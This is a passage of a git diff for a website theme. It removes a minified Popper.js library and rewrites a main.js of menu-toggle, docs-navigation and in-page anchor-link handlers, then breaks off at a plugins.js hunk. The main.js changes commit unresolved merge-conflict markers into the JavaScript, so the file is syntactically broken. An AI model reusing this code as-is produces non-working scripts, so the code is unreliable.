-            placement: t
-        })),
-        (p = j(Object.assign({}, p, c))),
-        (s = 'popper' === r ? p : s);
-        var u = {
-            top: a.top - s.top + o.top,
-            bottom: s.bottom - a.bottom + o.bottom,
-            left: a.left - s.left + o.left,
-            right: s.right - a.right + o.right
-        };
-        if (((e = e.modifiersData.offset), 'popper' === r && e)) {
-            var d = e[t];
-            Object.keys(u).forEach(function(e) {
-                var t = 0 <= ['right', 'bottom'].indexOf(e) ? 1 : -1,
-                    n = 0 <= ['top', 'bottom'].indexOf(e) ? 'y' : 'x';
-                u[e] += d[n] * t;
-            });
-        }
-        return u;
-    }
-    function A() {
-        for (var e = arguments.length, t = Array(e), n = 0; n < e; n++) t[n] = arguments[n];
-        return !t.some(function(e) {
-            return !(e && 'function' == typeof e.getBoundingClientRect);
-        });
-    }
-    function B(e) {
-        void 0 === e && (e = {});
-        var t = e.defaultModifiers,
-            o = void 0 === t ? [] : t,
-            r = void 0 === (e = e.defaultOptions) ? X : e;
-        return function(e, t, i) {
-            function a() {
-                f.forEach(function(e) {
-                        return e();
-                    }),
-                    (f = []);
-            }
-            void 0 === i && (i = r);
-            var s = {
-                    placement: 'bottom',
-                    orderedModifiers: [],
-                    options: Object.assign({}, X, r),
-                    modifiersData: {},
-                    elements: {
-                        reference: e,
-                        popper: t
-                    },
-                    attributes: {},
-                    styles: {}
-                },
-                f = [],
-                p = !1,
-                c = {
-                    state: s,
-                    setOptions: function(i) {
-                        return (
-                            a(),
-                            (s.options = Object.assign({}, r, s.options, i)),
-                            (s.scrollParents = {
-                                reference: n(e) ? v(e) : e.contextElement ? v(e.contextElement) : [],
-                                popper: v(t)
-                            }),
-                            (i = (function(e) {
-                                var t = b(e);
-                                return _.reduce(function(e, n) {
-                                    return e.concat(
-                                        t.filter(function(e) {
-                                            return e.phase === n;
-                                        })
-                                    );
-                                }, []);
-                            })(
-                                (function(e) {
-                                    var t = e.reduce(function(e, t) {
-                                        var n = e[t.name];
-                                        return (
-                                            (e[t.name] = n ?
-                                                Object.assign({}, n, t, {
-                                                    options: Object.assign({}, n.options, t.options),
-                                                    data: Object.assign({}, n.data, t.data)
-                                                }) :
-                                                t),
-                                            e
-                                        );
-                                    }, {});
-                                    return Object.keys(t).map(function(e) {
-                                        return t[e];
-                                    });
-                                })([].concat(o, s.options.modifiers))
-                            )),
-                            (s.orderedModifiers = i.filter(function(e) {
-                                return e.enabled;
-                            })),
-                            s.orderedModifiers.forEach(function(e) {
-                                var t = e.name,
-                                    n = e.options;
-                                (n = void 0 === n ? {} : n),
-                                'function' == typeof(e = e.effect) &&
-                                ((t = e({
-                                        state: s,
-                                        name: t,
-                                        instance: c,
-                                        options: n
-                                    })),
-                                    f.push(t || function() {}));
-                            }),
-                            c.update()
-                        );
-                    },
-                    forceUpdate: function() {
-                        if (!p) {
-                            var e = s.elements,
-                                t = e.reference;
-                            if (A(t, (e = e.popper)))
-                                for (
-                                    s.rects = {
-                                        reference: u(t, y(e), 'fixed' === s.options.strategy),
-                                        popper: d(e)
-                                    },
-                                    s.reset = !1,
-                                    s.placement = s.options.placement,
-                                    s.orderedModifiers.forEach(function(e) {
-                                        return (s.modifiersData[e.name] = Object.assign({}, e.data));
-                                    }),
-                                    t = 0; t < s.orderedModifiers.length; t++
-                                )
-                                    if (!0 === s.reset)(s.reset = !1), (t = -1);
-                                    else {
-                                        var n = s.orderedModifiers[t];
-                                        e = n.fn;
-                                        var o = n.options;
-                                        (o = void 0 === o ? {} : o),
-                                        (n = n.name),
-                                        'function' == typeof e &&
-                                            (s =
-                                                e({
-                                                    state: s,
-                                                    options: o,
-                                                    name: n,
-                                                    instance: c
-                                                }) || s);
-                                    }
-                        }
-                    },
-                    update: w(function() {
-                        return new Promise(function(e) {
-                            c.forceUpdate(), e(s);
-                        });
-                    }),
-                    destroy: function() {
-                        a(), (p = !0);
-                    }
-                };
-            return A(e, t) ?
-                (c.setOptions(i).then(function(e) {
-                        !p && i.onFirstUpdate && i.onFirstUpdate(e);
-                    }),
-                    c) :
-                c;
-        };
-    }
-    function H(e) {
-        var n,
-            o = e.popper,
-            r = e.popperRect,
-            i = e.placement,
-            a = e.offsets,
-            s = e.position,
-            p = e.gpuAcceleration,
-            l = e.adaptive;
-        if (!0 === (e = e.roundOffsets)) {
-            e = a.y;
-            var u = window.devicePixelRatio || 1;
-            e = {
-                x: F(F(a.x * u) / u) || 0,
-                y: F(F(e * u) / u) || 0
-            };
-        } else e = 'function' == typeof e ? e(a) : a;
-        (e = void 0 === (e = (u = e).x) ? 0 : e), (u = void 0 === (u = u.y) ? 0 : u);
-        var d = a.hasOwnProperty('x');
-        a = a.hasOwnProperty('y');
-        var h,
-            m = 'left',
-            v = 'top',
-            g = window;
-        if (l) {
-            var b = y(o),
-                w = 'clientHeight',
-                x = 'clientWidth';
-            b === t(o) && 'static' !== c((b = f(o))).position && ((w = 'scrollHeight'), (x = 'scrollWidth')),
-                'top' === i && ((v = 'bottom'), (u -= b[w] - r.height), (u *= p ? 1 : -1)),
-                'left' === i && ((m = 'right'), (e -= b[x] - r.width), (e *= p ? 1 : -1));
-        }
-        return (
-            (o = Object.assign({
-                    position: s
-                },
-                l && K
-            )),
-            p ?
-            Object.assign({},
-                o,
-                (((h = {})[v] = a ? '0' : ''),
-                    (h[m] = d ? '0' : ''),
-                    (h.transform = 2 > (g.devicePixelRatio || 1) ? 'translate(' + e + 'px, ' + u + 'px)' : 'translate3d(' + e + 'px, ' + u + 'px, 0)'),
-                    h)
-            ) :
-            Object.assign({}, o, (((n = {})[v] = a ? u + 'px' : ''), (n[m] = d ? e + 'px' : ''), (n.transform = ''), n))
-        );
-    }
-    function T(e) {
-        return e.replace(/left|right|bottom|top/g, function(e) {
-            return ee[e];
-        });
-    }
-    function R(e) {
-        return e.replace(/start|end/g, function(e) {
-            return te[e];
-        });
-    }
-    function S(e, t, n) {
-        return (
-            void 0 === n &&
-            (n = {
-                x: 0,
-                y: 0
-            }), {
-                top: e.top - t.height - n.y,
-                right: e.right - t.width + n.x,
-                bottom: e.bottom - t.height + n.y,
-                left: e.left - t.width - n.x
-            }
-        );
-    }
-    function C(e) {
-        return ['top', 'right', 'bottom', 'left'].some(function(t) {
-            return 0 <= e[t];
-        });
-    }
-    var q = Math.round,
-        N = ['top', 'bottom', 'right', 'left'],
-        V = N.reduce(function(e, t) {
-            return e.concat([t + '-start', t + '-end']);
-        }, []),
-        I = [].concat(N, ['auto']).reduce(function(e, t) {
-            return e.concat([t, t + '-start', t + '-end']);
-        }, []),
-        _ = 'beforeRead read afterRead beforeMain main afterMain beforeWrite write afterWrite'.split(' '),
-        U = Math.max,
-        z = Math.min,
-        F = Math.round,
-        X = {
-            placement: 'bottom',
-            modifiers: [],
-            strategy: 'absolute'
-        },
-        Y = {
-            passive: !0
-        },
-        G = {
-            name: 'eventListeners',
-            enabled: !0,
-            phase: 'write',
-            fn: function() {},
-            effect: function(e) {
-                var n = e.state,
-                    o = e.instance,
-                    r = (e = e.options).scroll,
-                    i = void 0 === r || r,
-                    a = void 0 === (e = e.resize) || e,
-                    s = t(n.elements.popper),
-                    f = [].concat(n.scrollParents.reference, n.scrollParents.popper);
-                return (
-                    i &&
-                    f.forEach(function(e) {
-                        e.addEventListener('scroll', o.update, Y);
-                    }),
-                    a && s.addEventListener('resize', o.update, Y),
-                    function() {
-                        i &&
-                            f.forEach(function(e) {
-                                e.removeEventListener('scroll', o.update, Y);
-                            }),
-                            a && s.removeEventListener('resize', o.update, Y);
-                    }
-                );
-            },
-            data: {}
-        },
-        J = {
-            name: 'popperOffsets',
-            enabled: !0,
-            phase: 'read',
-            fn: function(e) {
-                var t = e.state;
-                t.modifiersData[e.name] = M({
-                    reference: t.rects.reference,
-                    element: t.rects.popper,
-                    strategy: 'absolute',
-                    placement: t.placement
-                });
-            },
-            data: {}
-        },
-        K = {
-            top: 'auto',
-            right: 'auto',
-            bottom: 'auto',
-            left: 'auto'
-        },
-        Q = {
-            name: 'computeStyles',
-            enabled: !0,
-            phase: 'beforeWrite',
-            fn: function(e) {
-                var t = e.state,
-                    n = e.options;
-                e = void 0 === (e = n.gpuAcceleration) || e;
-                var o = n.adaptive;
-                (o = void 0 === o || o),
-                (n = void 0 === (n = n.roundOffsets) || n),
-                (e = {
-                    placement: x(t.placement),
-                    popper: t.elements.popper,
-                    popperRect: t.rects.popper,
-                    gpuAcceleration: e
-                }),
-                null != t.modifiersData.popperOffsets &&
-                    (t.styles.popper = Object.assign({},
-                        t.styles.popper,
-                        H(
-                            Object.assign({}, e, {
-                                offsets: t.modifiersData.popperOffsets,
-                                position: t.options.strategy,
-                                adaptive: o,
-                                roundOffsets: n
-                            })
-                        )
-                    )),
-                    null != t.modifiersData.arrow &&
-                    (t.styles.arrow = Object.assign({},
-                        t.styles.arrow,
-                        H(
-                            Object.assign({}, e, {
-                                offsets: t.modifiersData.arrow,
-                                position: 'absolute',
-                                adaptive: !1,
-                                roundOffsets: n
-                            })
-                        )
-                    )),
-                    (t.attributes.popper = Object.assign({}, t.attributes.popper, {
-                        'data-popper-placement': t.placement
-                    }));
-            },
-            data: {}
-        },
-        Z = {
-            name: 'applyStyles',
-            enabled: !0,
-            phase: 'write',
-            fn: function(e) {
-                var t = e.state;
-                Object.keys(t.elements).forEach(function(e) {
-                    var n = t.styles[e] || {},
-                        r = t.attributes[e] || {},
-                        i = t.elements[e];
-                    o(i) &&
-                        s(i) &&
-                        (Object.assign(i.style, n),
-                            Object.keys(r).forEach(function(e) {
-                                var t = r[e];
-                                !1 === t ? i.removeAttribute(e) : i.setAttribute(e, !0 === t ? '' : t);
-                            }));
-                });
-            },
-            effect: function(e) {
-                var t = e.state,
-                    n = {
-                        popper: {
-                            position: t.options.strategy,
-                            left: '0',
-                            top: '0',
-                            margin: '0'
-                        },
-                        arrow: {
-                            position: 'absolute'
-                        },
-                        reference: {}
-                    };
-                return (
-                    Object.assign(t.elements.popper.style, n.popper),
-                    (t.styles = n),
-                    t.elements.arrow && Object.assign(t.elements.arrow.style, n.arrow),
-                    function() {
-                        Object.keys(t.elements).forEach(function(e) {
-                            var r = t.elements[e],
-                                i = t.attributes[e] || {};
-                            (e = Object.keys(t.styles.hasOwnProperty(e) ? t.styles[e] : n[e]).reduce(function(e, t) {
-                                return (e[t] = ''), e;
-                            }, {})),
-                            o(r) &&
-                                s(r) &&
-                                (Object.assign(r.style, e),
-                                    Object.keys(i).forEach(function(e) {
-                                        r.removeAttribute(e);
-                                    }));
-                        });
-                    }
-                );
-            },
-            requires: ['computeStyles']
-        },
-        $ = {
-            name: 'offset',
-            enabled: !0,
-            phase: 'main',
-            requires: ['popperOffsets'],
-            fn: function(e) {
-                var t = e.state,
-                    n = e.name,
-                    o = void 0 === (e = e.options.offset) ? [0, 0] : e,
-                    r = (e = I.reduce(function(e, n) {
-                        var r = t.rects,
-                            i = x(n),
-                            a = 0 <= ['left', 'top'].indexOf(i) ? -1 : 1,
-                            s =
-                            'function' == typeof o ?
-                            o(
-                                Object.assign({}, r, {
-                                    placement: n
-                                })
-                            ) :
-                            o;
-                        return (
-                            (r = (r = s[0]) || 0),
-                            (s = ((s = s[1]) || 0) * a),
-                            (i =
-                                0 <= ['left', 'right'].indexOf(i) ? {
-                                    x: s,
-                                    y: r
-                                } : {
-                                    x: r,
-                                    y: s
-                                }),
-                            (e[n] = i),
-                            e
-                        );
-                    }, {}))[t.placement],
-                    i = r.x;
-                (r = r.y),
-                null != t.modifiersData.popperOffsets && ((t.modifiersData.popperOffsets.x += i), (t.modifiersData.popperOffsets.y += r)),
-                    (t.modifiersData[n] = e);
-            }
-        },
-        ee = {
-            left: 'right',
-            right: 'left',
-            bottom: 'top',
-            top: 'bottom'
-        },
-        te = {
-            start: 'end',
-            end: 'start'
-        },
-        ne = {
-            name: 'flip',
-            enabled: !0,
-            phase: 'main',
-            fn: function(e) {
-                var t = e.state,
-                    n = e.options;
-                if (((e = e.name), !t.modifiersData[e]._skip)) {
-                    var o = n.mainAxis;
-                    o = void 0 === o || o;
-                    var r = n.altAxis;
-                    r = void 0 === r || r;
-                    var i = n.fallbackPlacements,
-                        a = n.padding,
-                        s = n.boundary,
-                        f = n.rootBoundary,
-                        p = n.altBoundary,
-                        c = n.flipVariations,
-                        l = void 0 === c || c,
-                        u = n.allowedAutoPlacements;
-                    (c = x((n = t.options.placement))),
-                    (i =
-                        i ||
-                        (c !== n && l ?
-                            (function(e) {
-                                if ('auto' === x(e)) return [];
-                                var t = T(e);
-                                return [R(e), t, R(t)];
-                            })(n) : [T(n)]));
-                    var d = [n].concat(i).reduce(function(e, n) {
-                        return e.concat(
-                            'auto' === x(n) ?
-                            (function(e, t) {
-                                void 0 === t && (t = {});
-                                var n = t.boundary,
-                                    o = t.rootBoundary,
-                                    r = t.padding,
-                                    i = t.flipVariations,
-                                    a = t.allowedAutoPlacements,
-                                    s = void 0 === a ? I : a,
-                                    f = t.placement.split('-')[1];
-                                0 ===
-                                    (i = (t = f ?
-                                        i ?
-                                        V :
-                                        V.filter(function(e) {
-                                            return e.split('-')[1] === f;
-                                        }) :
-                                        N).filter(function(e) {
-                                        return 0 <= s.indexOf(e);
-                                    })).length && (i = t);
-                                var p = i.reduce(function(t, i) {
-                                    return (
-                                        (t[i] = W(e, {
-                                            placement: i,
-                                            boundary: n,
-                                            rootBoundary: o,
-                                            padding: r
-                                        })[x(i)]),
-                                        t
-                                    );
-                                }, {});
-                                return Object.keys(p).sort(function(e, t) {
-                                    return p[e] - p[t];
-                                });
-                            })(t, {
-                                placement: n,
-                                boundary: s,
-                                rootBoundary: f,
-                                padding: a,
-                                flipVariations: l,
-                                allowedAutoPlacements: u
-                            }) :
-                            n
-                        );
-                    }, []);
-                    (n = t.rects.reference), (i = t.rects.popper);
-                    var h = new Map();
-                    c = !0;
-                    for (var m = d[0], v = 0; v < d.length; v++) {
-                        var g = d[v],
-                            y = x(g),
-                            b = 'start' === g.split('-')[1],
-                            w = 0 <= ['top', 'bottom'].indexOf(y),
-                            O = w ? 'width' : 'height',
-                            j = W(t, {
-                                placement: g,
-                                boundary: s,
-                                rootBoundary: f,
-                                altBoundary: p,
-                                padding: a
-                            });
-                        if (
-                            ((b = w ? (b ? 'right' : 'left') : b ? 'bottom' : 'top'),
-                                n[O] > i[O] && (b = T(b)),
-                                (O = T(b)),
-                                (w = []),
-                                o && w.push(0 >= j[y]),
-                                r && w.push(0 >= j[b], 0 >= j[O]),
-                                w.every(function(e) {
-                                    return e;
-                                }))
-                        ) {
-                            (m = g), (c = !1);
-                            break;
-                        }
-                        h.set(g, w);
-                    }
-                    if (c)
-                        for (
-                            o = function(e) {
-                                var t = d.find(function(t) {
-                                    if ((t = h.get(t)))
-                                        return t.slice(0, e).every(function(e) {
-                                            return e;
-                                        });
-                                });
-                                if (t) return (m = t), 'break';
-                            },
-                            r = l ? 3 : 1; 0 < r && 'break' !== o(r); r--
-                        );
-                    t.placement !== m && ((t.modifiersData[e]._skip = !0), (t.placement = m), (t.reset = !0));
-                }
-            },
-            requiresIfExists: ['offset'],
-            data: {
-                _skip: !1
-            }
-        },
-        oe = {
-            name: 'preventOverflow',
-            enabled: !0,
-            phase: 'main',
-            fn: function(e) {
-                var t = e.state,
-                    n = e.options;
-                e = e.name;
-                var o = n.mainAxis,
-                    r = void 0 === o || o,
-                    i = void 0 !== (o = n.altAxis) && o;
-                o = void 0 === (o = n.tether) || o;
-                var a = n.tetherOffset,
-                    s = void 0 === a ? 0 : a,
-                    f = W(t, {
-                        boundary: n.boundary,
-                        rootBoundary: n.rootBoundary,
-                        padding: n.padding,
-                        altBoundary: n.altBoundary
-                    });
-                n = x(t.placement);
-                var p = t.placement.split('-')[1],
-                    c = !p,
-                    l = L(n);
-                (n = 'x' === l ? 'y' : 'x'), (a = t.modifiersData.popperOffsets);
-                var u = t.rects.reference,
-                    h = t.rects.popper,
-                    m =
-                    'function' == typeof s ?
-                    s(
-                        Object.assign({}, t.rects, {
-                            placement: t.placement
-                        })
-                    ) :
-                    s;
-                if (
-                    ((s = {
-                            x: 0,
-                            y: 0
-                        }),
-                        a)
-                ) {
-                    if (r || i) {
-                        var v = 'y' === l ? 'top' : 'left',
-                            g = 'y' === l ? 'bottom' : 'right',
-                            b = 'y' === l ? 'height' : 'width',
-                            w = a[l],
-                            O = a[l] + f[v],
-                            j = a[l] - f[g],
-                            E = o ? -h[b] / 2 : 0,
-                            D = 'start' === p ? u[b] : h[b];
-                        (p = 'start' === p ? -h[b] : -u[b]),
-                        (h = t.elements.arrow),
-                        (h =
-                            o && h ?
-                            d(h) : {
-                                width: 0,
-                                height: 0
-                            });
-                        var M = t.modifiersData['arrow#persistent'] ?
-                            t.modifiersData['arrow#persistent'].padding : {
-                                top: 0,
-                                right: 0,
-                                bottom: 0,
-                                left: 0
-                            };
-                        (v = M[v]),
-                        (g = M[g]),
-                        (h = U(0, z(u[b], h[b]))),
-                        (D = c ? u[b] / 2 - E - h - v - m : D - h - v - m),
-                        (u = c ? -u[b] / 2 + E + h + g + m : p + h + g + m),
-                        (c = t.elements.arrow && y(t.elements.arrow)),
-                        (m = t.modifiersData.offset ? t.modifiersData.offset[t.placement][l] : 0),
-                        (c = a[l] + D - m - (c ? ('y' === l ? c.clientTop || 0 : c.clientLeft || 0) : 0)),
-                        (u = a[l] + u - m),
-                        r && ((r = o ? z(O, c) : O), (j = o ? U(j, u) : j), (r = U(r, z(w, j))), (a[l] = r), (s[l] = r - w)),
-                            i &&
-                            ((r = (i = a[n]) + f['x' === l ? 'top' : 'left']),
-                                (f = i - f['x' === l ? 'bottom' : 'right']),
-                                (r = o ? z(r, c) : r),
-                                (o = o ? U(f, u) : f),
-                                (o = U(r, z(i, o))),
-                                (a[n] = o),
-                                (s[n] = o - i));
-                    }
-                    t.modifiersData[e] = s;
-                }
-            },
-            requiresIfExists: ['offset']
-        },
-        re = {
-            name: 'arrow',
-            enabled: !0,
-            phase: 'main',
-            fn: function(e) {
-                var t,
-                    n = e.state,
-                    o = e.name,
-                    r = e.options,
-                    i = n.elements.arrow,
-                    a = n.modifiersData.popperOffsets,
-                    s = x(n.placement);
-                if (((e = L(s)), (s = 0 <= ['left', 'right'].indexOf(s) ? 'height' : 'width'), i && a)) {
-                    r = P(
-                        'number' !=
-                        typeof(r =
-                            'function' == typeof(r = r.padding) ?
-                            r(
-                                Object.assign({}, n.rects, {
-                                    placement: n.placement
-                                })
-                            ) :
-                            r) ?
-                        r :
-                        k(r, N)
-                    );
-                    var f = d(i),
-                        p = 'y' === e ? 'top' : 'left',
-                        c = 'y' === e ? 'bottom' : 'right',
-                        l = n.rects.reference[s] + n.rects.reference[e] - a[e] - n.rects.popper[s];
-                    (a = a[e] - n.rects.reference[e]),
-                    (a = (i = (i = y(i)) ? ('y' === e ? i.clientHeight || 0 : i.clientWidth || 0) : 0) / 2 - f[s] / 2 + (l / 2 - a / 2)),
-                    (s = U(r[p], z(a, i - f[s] - r[c]))),
-                    (n.modifiersData[o] = (((t = {})[e] = s), (t.centerOffset = s - a), t));
-                }
-            },
-            effect: function(e) {
-                var t = e.state;
-                if (null != (e = void 0 === (e = e.options.element) ? '[data-popper-arrow]' : e)) {
-                    if ('string' == typeof e && !(e = t.elements.popper.querySelector(e))) return;
-                    O(t.elements.popper, e) && (t.elements.arrow = e);
-                }
-            },
-            requires: ['popperOffsets'],
-            requiresIfExists: ['preventOverflow']
-        },
-        ie = {
-            name: 'hide',
-            enabled: !0,
-            phase: 'main',
-            requiresIfExists: ['preventOverflow'],
-            fn: function(e) {
-                var t = e.state;
-                e = e.name;
-                var n = t.rects.reference,
-                    o = t.rects.popper,
-                    r = t.modifiersData.preventOverflow,
-                    i = W(t, {
-                        elementContext: 'reference'
-                    }),
-                    a = W(t, {
-                        altBoundary: !0
-                    });
-                (n = S(i, n)),
-                (o = S(a, o, r)),
-                (r = C(n)),
-                (a = C(o)),
-                (t.modifiersData[e] = {
-                    referenceClippingOffsets: n,
-                    popperEscapeOffsets: o,
-                    isReferenceHidden: r,
-                    hasPopperEscaped: a
-                }),
-                (t.attributes.popper = Object.assign({}, t.attributes.popper, {
-                    'data-popper-reference-hidden': r,
-                    'data-popper-escaped': a
-                }));
-            }
-        },
-        ae = B({
-            defaultModifiers: [G, J, Q, Z]
-        }),
-        se = [G, J, Q, Z, $, ne, oe, re, ie],
-        fe = B({
-            defaultModifiers: se
-        });
-    (e.applyStyles = Z),
-    (e.arrow = re),
-    (e.computeStyles = Q),
-    (e.createPopper = fe),
-    (e.createPopperLite = ae),
-    (e.defaultModifiers = se),
-    (e.detectOverflow = W),
-    (e.eventListeners = G),
-    (e.flip = ne),
-    (e.hide = ie),
-    (e.offset = $),
-    (e.popperGenerator = B),
-    (e.popperOffsets = J),
-    (e.preventOverflow = oe),
-    Object.defineProperty(e, '__esModule', {
-        value: !0
-    });
-});
-//# sourceMappingURL=popper.min.js.map    });
-});
-//# sourceMappingURL=popper.min.js.map
diff --git a/static/js/main.js b/static/js/main.js
index 530086a6c2..d9c9d2d37a 100644
--- a/static/js/main.js
+++ b/static/js/main.js
@@ -1,3 +1,7 @@
+<<<<<<< HEAD
+=======
+/* Adding event listeners to the menu toggle buttons. */
+>>>>>>> master
 window.onGatsbyInitialClientRender = function() {
 /**
  * Main JS file for theme behaviours
@@ -8,21 +12,37 @@ let videoEmbeds = [
   'iframe[src*="vimeo.com"]'
 ];
 reframe(videoEmbeds.join(','));
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 // Handle main navigation menu toggling on small screens
 function menuToggleHandler(e) {
   e.preventDefault();
   document.body.classList.toggle('menu--opened');
 }
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 // Handle docs navigation menu toggling on small screens
 function docsNavToggleHandler(e) {
   e.preventDefault();
   document.body.classList.toggle('docs-menu--opened');
 }
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 // Handle submenu toggling
 function submenuToggleHandler(e) {
   e.preventDefault();
   this.parentNode.classList.toggle('active');
 }
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 window.addMainNavigationHandlers = function() {
   const menuToggle = document.querySelectorAll('.menu-toggle');
   if (menuToggle) {
@@ -30,12 +50,17 @@ window.addMainNavigationHandlers = function() {
       menuToggle[i].addEventListener('click', menuToggleHandler, false);
     }
   }
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
   const submenuToggle = document.querySelectorAll('.submenu-toggle');
   if (submenuToggle) {
     for (let i = 0; i < submenuToggle.length; i++) {
       submenuToggle[i].addEventListener('click', submenuToggleHandler, false);
     }
   }
+<<<<<<< HEAD
 };
 window.removeMainNavigationHandlers = function() {
   // Remove nav related classes on page load
@@ -236,4 +261,229 @@ function anchorForId(id) {
 }
 // Syntax Highlighter
 // Prism.highlightAll();
+=======
+>>>>>>> master
 };
+
+window.removeMainNavigationHandlers = function() {
+  // Remove nav related classes on page load
+  document.body.classList.remove('menu--opened');
+
+  const menuToggle = document.querySelectorAll('.menu-toggle');
+  if (menuToggle) {
+    for (let i = 0; i < menuToggle.length; i++) {
+      menuToggle[i].removeEventListener('click', menuToggleHandler, false);
+    }
+  }
+
+  const submenuToggle = document.querySelectorAll('.submenu-toggle');
+  if (submenuToggle) {
+    for (let i = 0; i < submenuToggle.length; i++) {
+      submenuToggle[i].removeEventListener('click', submenuToggleHandler, false);
+    }
+  }
+};
+
+window.addDocsNavigationHandlers = function() {
+  const docsNavToggle = document.getElementById('docs-nav-toggle');
+  if (docsNavToggle) {
+    docsNavToggle.addEventListener('click', docsNavToggleHandler, false);
+  }
+
+  const docsSubmenuToggle = document.querySelectorAll('.docs-submenu-toggle');
+  if (docsSubmenuToggle) {
+    for (let i = 0; i < docsSubmenuToggle.length; i++) {
+      docsSubmenuToggle[i].addEventListener('click', submenuToggleHandler, false);
+    }
+  }
+};
+
+window.removeDocsNavigationHandlers = function() {
+  // Remove docs nav related classes on page load
+  document.body.classList.remove('docs-menu--opened');
+
+  const docsNavToggle = document.getElementById('docs-nav-toggle');
+  if (docsNavToggle) {
+    docsNavToggle.removeEventListener('click', docsNavToggleHandler, false);
+  }
+
+  const docsSubmenuToggle = document.querySelectorAll('.docs-submenu-toggle');
+  if (docsSubmenuToggle) {
+    for (let i = 0; i < docsSubmenuToggle.length; i++) {
+      docsSubmenuToggle[i].removeEventListener('click', submenuToggleHandler, false);
+    }
+  }
+};
+
+window.addPageNavLinks = function() {
+  const pageToc = document.getElementById('page-nav-inside');
+  const pageTocContainer = document.getElementById('page-nav-link-container');
+
+  if (pageToc && pageTocContainer) {
+    const pageContent = document.querySelector('.type-docs .post-content');
+
+    // Create in-page navigation
+    const headerLinks = getHeaderLinks({
+      root: pageContent
+    });
+    if (headerLinks.length > 0) {
+      pageToc.classList.add('has-links');
+      renderHeaderLinks(pageTocContainer, headerLinks);
+    }
+
+    // Scroll to anchors
+    let scroll = new SmoothScroll('[data-scroll]');
+    let hash = window.decodeURI(location.hash.replace('#', ''));
+    if (hash !== '') {
+      window.setTimeout( function(){
+        let anchor = document.getElementById(hash);
+        if (anchor) {
+          scroll.animateScroll(anchor);
+        }
+      }, 0);
+    }
+
+    // Highlight current anchor
+    let pageTocLinks = pageTocContainer.getElementsByTagName('a');
+    if (pageTocLinks.length > 0) {
+      let spy = new Gumshoe('#page-nav-inside a', {
+        nested: true,
+        nestedClass: 'active-parent'
+      });
+    }
+
+    // Add link to page content headings
+    let pageHeadings = getElementsByTagNames(pageContent, ["h2", "h3"]);
+    for (let i = 0; i < pageHeadings.length; i++) {
+      let heading = pageHeadings[i];
+      if (typeof heading.id !== "undefined" && heading.id !== "") {
+        heading.insertBefore(anchorForId(heading.id), heading.firstChild);
+      }
+    }
+
+    // Copy link url
+    let clipboard = new ClipboardJS('.hash-link', {
+      text: function(trigger) {
+        return window.location.href.replace(window.location.hash,"") + trigger.getAttribute('href');
+      }
+    });
+  }
+}
+
+window.removePageNavLinks = function() {
+  const pageToc = document.getElementById('page-nav-inside');
+  const pageTocContainer = document.getElementById('page-nav-link-container');
+
+  if (pageToc && pageTocContainer) {
+    pageToc.classList.remove('has-links');
+    while (pageTocContainer.firstChild) {
+      pageTocContainer.removeChild(pageTocContainer.firstChild);
+    }
+  }
+}
+
+function getElementsByTagNames(root, tagNames) {
+  let elements = [];
+  for (let i = 0; i < root.children.length; i++) {
+    let element = root.children[i];
+    let tagName = element.nodeName.toLowerCase();
+    if (tagNames.includes(tagName)) {
+      elements.push(element);
+    }
+    elements = elements.concat(getElementsByTagNames(element, tagNames));
+  }
+  return elements;
+}
+
+function createLinksForHeaderElements(elements) {
+  let result = [];
+  let stack = [
+    {
+      level: 0,
+      children: result
+    }
+  ];
+  let re = /^h(\d)$/;
+  for (let i = 0; i < elements.length; i++) {
+    let element = elements[i];
+    let tagName = element.nodeName.toLowerCase();
+    let match = re.exec(tagName);
+    if (!match) {
+      console.warn("can not create links to non header element");
+      continue;
+    }
+    let headerLevel = parseInt(match[1], 10);
+    if (!element.id) {
+      if (!element.textContent) {
+        console.warn(
+          "can not create link to element without id and without text content"
+        );
+        continue;
+      }
+      element.id = element.textContent
+        .toLowerCase()
+        .replace(/[^\w]+/g, "_")
+        .replace(/^_/, "")
+        .replace(/_$/, "");
+    }
+    let link = document.createElement("a");
+    link.href = "#" + element.id;
+    link.setAttribute('data-scroll', '');
+    link.appendChild(document.createTextNode(element.textContent));
+    let obj = {
+      id: element.id,
+      level: headerLevel,
+      textContent: element.textContent,
+      element: element,
+      link: link,
+      children: []
+    };
+    if (headerLevel > stack[stack.length - 1].level) {
+      stack[stack.length - 1].children.push(obj);
+      stack.push(obj);
+    } else {
+      while (headerLevel <= stack[stack.length - 1].level && stack.length > 1) {
+        stack.pop();
+      }
+      stack[stack.length - 1].children.push(obj);
+      stack.push(obj);
+    }
+  }
+  return result;
+}
+
+function getHeaderLinks(options = {}) {
+  let tagNames = options.tagNames || ["h2", "h3"];
+  let root = options.root || document.body;
+  let headerElements = getElementsByTagNames(root, tagNames);
+  return createLinksForHeaderElements(headerElements);
+}
+
+function renderHeaderLinks(element, links) {
+  if (links.length === 0) {
+    return;
+  }
+  let ulElm = document.createElement("ul");
+  for (let i = 0; i < links.length; i++) {
+    let liElm = document.createElement("li");
+    liElm.append(links[i].link);
+    if (links[i].children.length > 0) {
+      renderHeaderLinks(liElm, links[i].children);
+    }
+    ulElm.appendChild(liElm);
+  }
+  element.appendChild(ulElm);
+}
+
+function anchorForId(id) {
+  let anchor = document.createElement("a");
+  anchor.setAttribute("class", "hash-link");
+  anchor.setAttribute("data-scroll", "");
+  anchor.href = "#" + id;
+  anchor.innerHTML = '<span class="screen-reader-text">Copy</span>';
+  return anchor;
+}
+
+// Syntax Highlighter
+// Prism.highlightAll();
+};
\ No newline at end of file
diff --git a/static/js/plugins.js b/static/js/plugins.js
index 5d79e21c1b..8470010a3f 100644
--- a/static/js/plugins.js
+++ b/static/js/plugins.js
@@ -6,10 +6,20 @@
  * @license MIT
 */
